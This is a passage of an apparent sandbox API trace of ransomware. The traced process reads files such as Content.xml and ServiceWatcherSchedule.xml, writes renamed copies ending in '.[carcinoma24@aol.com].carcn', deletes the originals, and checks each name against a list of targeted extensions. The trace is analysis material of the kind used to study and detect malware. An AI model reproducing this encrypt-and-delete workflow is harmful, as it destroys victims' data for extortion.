(hObject=0x314) returned 1 [0162.618] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80 [0162.618] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0162.618] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0162.618] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.618] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.618] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0162.619] GetLastError () returned 0x0 [0162.619] ReadFile (in: hFile=0x314, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x3704, lpOverlapped=0x0) returned 1 [0162.823] WriteFile (in: hFile=0x318, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x3710, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x3710, lpOverlapped=0x0) returned 1 [0162.824] ReadFile (in: hFile=0x314, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.824] WriteFile (in: hFile=0x318, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xea, lpOverlapped=0x0) returned 1 [0162.824] SetEndOfFile (hFile=0x318) returned 1 [0162.824] CloseHandle (hObject=0x318) returned 1 [0162.825] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.825] SetEndOfFile (hFile=0x314) returned 1 [0162.826] CloseHandle (hObject=0x314) returned 1 [0162.826] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0162.826] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 1 [0162.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0162.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0162.826] lstrlenW (lpString=".doc") returned 4 [0162.826] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0162.826] lstrlenW (lpString=".docx") returned 5 [0162.826] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0162.826] lstrlenW (lpString=".pdf") returned 4 [0162.826] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0162.826] lstrlenW (lpString=".xls") returned 4 [0162.826] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0162.826] lstrlenW (lpString=".xlsx") returned 5 [0162.826] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0162.826] lstrlenW (lpString=".ppt") returned 4 [0162.826] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0162.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0162.827] lstrlenW (lpString=".zip") returned 4 [0162.827] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0162.827] lstrlenW (lpString=".rar") returned 4 [0162.827] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0162.827] lstrlenW (lpString=".bz2") returned 4 [0162.827] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0162.827] lstrlenW (lpString=".7z") returned 3 [0162.827] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0162.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0162.827] lstrlenW (lpString=".dbf") returned 4 [0162.827] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0162.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0162.827] lstrlenW (lpString=".1cd") returned 4 [0162.827] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0162.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0162.827] lstrlenW (lpString=".jpg") returned 4 [0162.827] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0162.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0162.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0162.827] lstrlenW (lpString=".doc") returned 4 [0162.827] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0162.827] lstrlenW (lpString=".docx") returned 5 [0162.827] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0162.827] lstrlenW (lpString=".pdf") returned 4 [0162.827] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0162.827] lstrlenW (lpString=".xls") returned 4 [0162.827] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0162.827] lstrlenW (lpString=".xlsx") returned 5 [0162.827] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0162.827] lstrlenW (lpString=".ppt") returned 4 [0162.827] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0162.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0162.827] lstrlenW (lpString=".zip") returned 4 [0162.828] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0162.828] lstrlenW (lpString=".rar") returned 4 [0162.828] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0162.828] lstrlenW (lpString=".bz2") returned 4 [0162.828] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0162.828] lstrlenW (lpString=".7z") returned 3 [0162.828] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0162.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0162.828] lstrlenW (lpString=".dbf") returned 4 [0162.828] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0162.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0162.828] lstrlenW (lpString=".1cd") returned 4 [0162.828] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0162.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0162.828] lstrlenW (lpString=".jpg") returned 4 [0162.828] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0162.828] lstrcmpiW (lpString1=".p7b", lpString2=".carcn") returned 1 [0162.828] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0162.828] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.161] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=4662) returned 1 [0163.161] CloseHandle (hObject=0x2d4) returned 1 [0163.161] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0163.161] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0163.161] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.161] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0163.161] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0163.161] lstrlenW (lpString=".doc") returned 4 [0163.161] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0163.161] lstrlenW (lpString=".docx") returned 5 [0163.161] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0163.161] lstrlenW (lpString=".pdf") returned 4 [0163.161] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0163.161] lstrlenW (lpString=".xls") returned 4 [0163.161] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0163.161] lstrlenW (lpString=".xlsx") returned 5 [0163.161] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0163.161] lstrlenW (lpString=".ppt") returned 4 [0163.161] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0163.162] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0163.162] lstrlenW (lpString=".zip") returned 4 [0163.162] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0163.162] lstrlenW (lpString=".rar") returned 4 [0163.162] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0163.162] lstrlenW (lpString=".bz2") returned 4 [0163.162] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0163.162] lstrlenW (lpString=".7z") returned 3 [0163.162] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0163.162] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0163.162] lstrlenW (lpString=".dbf") returned 4 [0163.162] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0163.162] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0163.162] lstrlenW (lpString=".1cd") returned 4 [0163.162] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0163.162] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0163.162] lstrlenW (lpString=".jpg") returned 4 [0163.162] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0163.162] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0163.162] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0163.162] lstrlenW (lpString=".doc") returned 4 [0163.162] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0163.162] lstrlenW (lpString=".docx") returned 5 [0163.162] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0163.162] lstrlenW (lpString=".pdf") returned 4 [0163.162] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0163.162] lstrlenW (lpString=".xls") returned 4 [0163.162] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0163.163] lstrlenW (lpString=".xlsx") returned 5 [0163.163] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0163.163] lstrlenW (lpString=".ppt") returned 4 [0163.163] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0163.163] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0163.163] lstrlenW (lpString=".zip") returned 4 [0163.163] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0163.163] lstrlenW (lpString=".rar") returned 4 [0163.163] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0163.163] lstrlenW (lpString=".bz2") returned 4 [0163.163] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0163.163] lstrlenW (lpString=".7z") returned 3 [0163.163] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0163.163] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0163.163] lstrlenW (lpString=".dbf") returned 4 [0163.163] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0163.163] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0163.163] lstrlenW (lpString=".1cd") returned 4 [0163.163] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0163.163] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0163.163] lstrlenW (lpString=".jpg") returned 4 [0163.163] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0163.163] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0163.163] lstrlenW (lpString="ServiceWatcherSchedule.xml") returned 26 [0163.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0163.171] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=4450) returned 1 [0163.171] CloseHandle (hObject=0x360) returned 1 [0163.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 0x20 [0163.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0163.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0163.171] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.171] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0163.174] GetLastError () returned 0x0 [0163.174] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x1162, lpOverlapped=0x0) returned 1 [0163.316] WriteFile (in: hFile=0x2d8, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x1170, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x1170, lpOverlapped=0x0) returned 1 [0163.317] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.317] WriteFile (in: hFile=0x2d8, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x108, lpOverlapped=0x0) returned 1 [0163.317] SetEndOfFile (hFile=0x2d8) returned 1 [0163.317] CloseHandle (hObject=0x2d8) returned 1 [0163.318] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.318] SetEndOfFile (hFile=0x360) returned 1 [0163.319] CloseHandle (hObject=0x360) returned 1 [0163.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0163.319] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 1 [0163.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0163.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0163.319] lstrlenW (lpString=".doc") returned 4 [0163.319] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0163.319] lstrlenW (lpString=".docx") returned 5 [0163.319] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0163.319] lstrlenW (lpString=".pdf") returned 4 [0163.320] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0163.320] lstrlenW (lpString=".xls") returned 4 [0163.320] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0163.320] lstrlenW (lpString=".xlsx") returned 5 [0163.320] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0163.320] lstrlenW (lpString=".ppt") returned 4 [0163.320] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0163.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0163.320] lstrlenW (lpString=".zip") returned 4 [0163.320] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0163.320] lstrlenW (lpString=".rar") returned 4 [0163.320] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0163.320] lstrlenW (lpString=".bz2") returned 4 [0163.320] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0163.320] lstrlenW (lpString=".7z") returned 3 [0163.320] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0163.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0163.320] lstrlenW (lpString=".dbf") returned 4 [0163.320] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0163.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0163.320] lstrlenW (lpString=".1cd") returned 4 [0163.320] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0163.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0163.320] lstrlenW (lpString=".jpg") returned 4 [0163.320] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0163.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0163.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0163.320] lstrlenW (lpString=".doc") returned 4 [0163.320] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0163.320] lstrlenW (lpString=".docx") returned 5 [0163.321] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0163.321] lstrlenW (lpString=".pdf") returned 4 [0163.321] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0163.321] lstrlenW (lpString=".xls") returned 4 [0163.321] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0163.321] lstrlenW (lpString=".xlsx") returned 5 [0163.321] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0163.321] lstrlenW (lpString=".ppt") returned 4 [0163.321] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0163.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0163.321] lstrlenW (lpString=".zip") returned 4 [0163.321] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0163.321] lstrlenW (lpString=".rar") returned 4 [0163.321] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0163.321] lstrlenW (lpString=".bz2") returned 4 [0163.321] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0163.321] lstrlenW (lpString=".7z") returned 3 [0163.321] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0163.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0163.321] lstrlenW (lpString=".dbf") returned 4 [0163.321] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0163.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0163.321] lstrlenW (lpString=".1cd") returned 4 [0163.321] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0163.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0163.321] lstrlenW (lpString=".jpg") returned 4 [0163.321] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0163.321] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0163.321] lstrlenW (lpString="Content.xml") returned 11 [0163.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0163.442] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=27045) returned 1 [0163.442] CloseHandle (hObject=0x314) returned 1 [0163.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0163.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0163.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0163.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0163.443] lstrlenW (lpString=".doc") returned 4 [0163.443] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0163.443] lstrlenW (lpString=".docx") returned 5 [0163.443] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0163.443] lstrlenW (lpString=".pdf") returned 4 [0163.443] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0163.443] lstrlenW (lpString=".xls") returned 4 [0163.443] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0163.443] lstrlenW (lpString=".xlsx") returned 5 [0163.443] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0163.443] lstrlenW (lpString=".ppt") returned 4 [0163.443] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0163.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0163.443] lstrlenW (lpString=".zip") returned 4 [0163.443] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0163.443] lstrlenW (lpString=".rar") returned 4 [0163.443] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0163.443] lstrlenW (lpString=".bz2") returned 4 [0163.443] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0163.443] lstrlenW (lpString=".7z") returned 3 [0163.444] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0163.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0163.444] lstrlenW (lpString=".dbf") returned 4 [0163.444] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0163.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0163.444] lstrlenW (lpString=".1cd") returned 4 [0163.444] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0163.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0163.444] lstrlenW (lpString=".jpg") returned 4 [0163.444] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0163.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0163.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0163.444] lstrlenW (lpString=".doc") returned 4 [0163.444] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0163.444] lstrlenW (lpString=".docx") returned 5 [0163.444] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0163.444] lstrlenW (lpString=".pdf") returned 4 [0163.444] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0163.444] lstrlenW (lpString=".xls") returned 4 [0163.444] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0163.444] lstrlenW (lpString=".xlsx") returned 5 [0163.444] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0163.445] lstrlenW (lpString=".ppt") returned 4 [0163.445] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0163.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0163.445] lstrlenW (lpString=".zip") returned 4 [0163.445] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0163.445] lstrlenW (lpString=".rar") returned 4 [0163.445] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0163.445] lstrlenW (lpString=".bz2") returned 4 [0163.445] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0163.445] lstrlenW (lpString=".7z") returned 3 [0163.445] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0163.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0163.445] lstrlenW (lpString=".dbf") returned 4 [0163.445] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0163.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0163.445] lstrlenW (lpString=".1cd") returned 4 [0163.445] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0163.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0163.445] lstrlenW (lpString=".jpg") returned 4 